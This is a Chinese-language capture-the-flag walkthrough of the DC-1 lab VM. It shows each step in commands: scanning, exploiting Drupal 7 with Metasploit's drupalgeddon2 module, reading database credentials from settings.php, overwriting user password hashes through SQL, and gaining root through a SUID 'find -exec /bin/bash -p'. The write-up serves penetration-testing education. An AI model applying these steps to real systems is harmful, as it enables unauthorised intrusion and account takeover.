DC1靶場通關教程
文章目錄
- DC1靶場通關教程
- 前言
- 一、信息收集
- 1.主機存活
- 2.端口收集
- 3.網頁信息收集
- 4.目錄收集
- 4.1 Nikto
- 4.2 Dirb
- 信息收集總結
- 二、漏洞發現與利用
- 1. 發現
- 2. 利用
- 三、Flag
- Flag1
- Flag2
- Flag3
- Flag4
- Flag5(提權)
前言
本次使用的kali機的IP地址為192.168.243.131
DC1的地址為192.168.243.134
一、信息收集
1.主機存活
arp-scan -l
此命令是探測主機存活sudo
命令是令kali用戶短暫擁有root用戶權限,需要輸入kali的密碼
其中192.168.243.128是kali的IP地址,192.168.243.134是靶場的IP地址
2.端口收集
nmap -T4 -v 192.168.243.134
該命令探測靶場開發的端口信息,可以看到其中開發端口有22、80、111
3.網頁信息收集
火狐瀏覽器有
Wappalyzer
插件可以看框架、中間件、語言等功能
4.目錄收集
這里使用兩種查詢方式
4.1 Nikto
nikto -h http://192.168.243.134
4.2 Dirb
dirb http://192.168.243.134
目錄收集沒有收集到可用信息,可以跳過這一步
信息收集總結
靶場IP地址為: 192.168.243.134
開放端口: 22/ssh 80/http 111/rpcbind
框架: cms Drupal 7
中間件: Apache 2.2.22
語言: php 5.4.45
操作系統: Debian
二、漏洞發現與利用
思路 通過信息收集到的內容去搜索網絡已知漏洞
1. 發現
kali加載msf攻擊載荷
search drupal
搜索Drupal可以利用的漏洞
2. 利用
這里使用
exploit/unix/webapp/drupal_drupalgeddon2
show options
查看需要配置的文件
Required
中yes
為必須配置項,RHOSTS
為靶場的IP地址
set rhosts 192.168.243.134
添加目標地址
使用
run
運行,然后shell
python -c "import pty;pty.spawn('/bin/bash')"
為交互語句,方便使用
三、Flag
Flag1
查看當前文件夾的所有內容
ls -la
可以看到有一個flag1.txt文件
cat flag1.txt
打開flag1.txt文件
Every good CMS needs a config file - and so do you. //每個好的CMS都需要一個配置文件——您也一樣。
Flag2
flag1提示我們去找配置文件
find / -name settings.php
查看這個文件
cat /var/www/sites/default/settings.php
/**** flag2* Brute force and dictionary attacks aren't the //暴力破解和字典攻擊不是* only ways to gain access (and you WILL need access). //只有獲得訪問權限的方法(你將需要訪問權限)。* What can you do with these credentials? //你能用這些證書做什么?**/$databases = array ('default' => array ('default' => array ('database' => 'drupaldb','username' => 'dbuser','password' => 'R0ck3t','host' => 'localhost','port' => '','driver' => 'mysql','prefix' => '',),),
);
Flag3
flag2給出了數據庫的賬戶和密碼,我們可以直接登錄查看
mysql -udbuser -pR0ck3t
查詢數據庫
show databases;
直接使用第二個表
use drupalbd;
查詢庫中的表
show tables;
我們查看users表中的內容
可以看到表中的內容是
admin
和Fred
賬戶密碼
admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
這個加密方式為hash(哈希),解密難度過大,我們可以通過password-hash.sh
文件生成一個新密碼
使用find命令查找文件
使用cat命令查看源碼
cat /var/www/scripts/password-hash.sh
<?php/*** Drupal hash script - to generate a hash from a plaintext password** Check for your PHP interpreter - on Windows you'll probably have to* replace line 1 with* #!c:/program files/php/php.exe** @param password1 [password2 [password3 ...]]* Plain-text passwords in quotes (or with spaces backslash escaped).*/if (version_compare(PHP_VERSION, "5.2.0", "<")) {$version = PHP_VERSION;echo <<<EOFERROR: This script requires at least PHP version 5.2.0. You invoked it withPHP version {$version}.
\n
EOF;exit;
}$script = basename(array_shift($_SERVER['argv']));if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {echo <<<EOFGenerate Drupal password hashes from the shell.Usage: {$script} [OPTIONS] "<plan-text password>"
Example: {$script} "mynewpassword"All arguments are long options.--help Print this page.--root <path>Set the working directory for the script to the specified path.To execute this script this has to be the root directory of yourDrupal installation, e.g. /home/www/foo/drupal (assuming Drupalrunning on Unix). Use surrounding quotation marks on Windows."<password1>" ["<password2>" ["<password3>" ...]]One or more plan-text passwords enclosed by double quotes. Theoutput hash may be manually entered into the {users}.pass field tochange a password via SQL to a known value.To run this script without the --root argument invoke it from the root directory
of your Drupal installation as./scripts/{$script}
\n
EOF;exit;
}$passwords = array();// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {switch ($param) {case '--root':// Change the working directory.$path = array_shift($_SERVER['argv']);if (is_dir($path)) {chdir($path);}break;default:// Add a password to the list to be processed.$passwords[] = $param;break;}
}define('DRUPAL_ROOT', getcwd());include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';foreach ($passwords as $password) {print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");
php /var/www/scripts/password-hash.sh 123456
因為這是php文件,所以我們需要使用php
password: 123456 hash: $S$DPuVBKNPp4WAlPVEAVTPohYHAfrGfwS9Z05iG3InaYIKsrrO95AG
登錄數據庫,將生成的哈希值寫入到數據庫的users表中,替換admin
和Fred
的密碼
update users set pass="$S$DPuVBKNPp4WAlPVEAVTPohYHAfrGfwS9Z05iG3InaYIKsrrO95AG" where name="admin" or name="Fred";
使用剛剛更改的數據進行登錄
找到fflag3文件
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.//特殊的PERMS將幫助查找passwd -但是您需要-執行該命令才能知道如何獲得陰影中的內容。
Flag4
根據flag3的提示讓我們去看/etc/passwd文件
可以看到一個flag4,我們去到flag4目錄
查看flag4.txt
Can you use this same method to find or access the flag in root?//您可以使用相同的方法來查找或訪問根中的標志嗎?
Probably. But perhaps it's not that easy. Or maybe it is?//可能。但也許沒那么容易。也許是這樣
Flag5(提權)
根據flag4的提示,我們嘗試去root目錄
發現被拒絕訪問了,查找一下當前用戶可執行的文件
find / -perm -u=s -type f 2>/dev/null
發現有find,直接用find提權
find / -exec "/bin/bash" -p \;
現在去root目錄
查看thefinalflag.txt文件
cat thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journeyby contacting me via Twitter - @DCAU7
//做得好! !
//希望你喜歡這篇文章,并學到了一些新技能。
//你可以通過推特@DCAU7聯系我,讓我知道你對這次小旅行的看法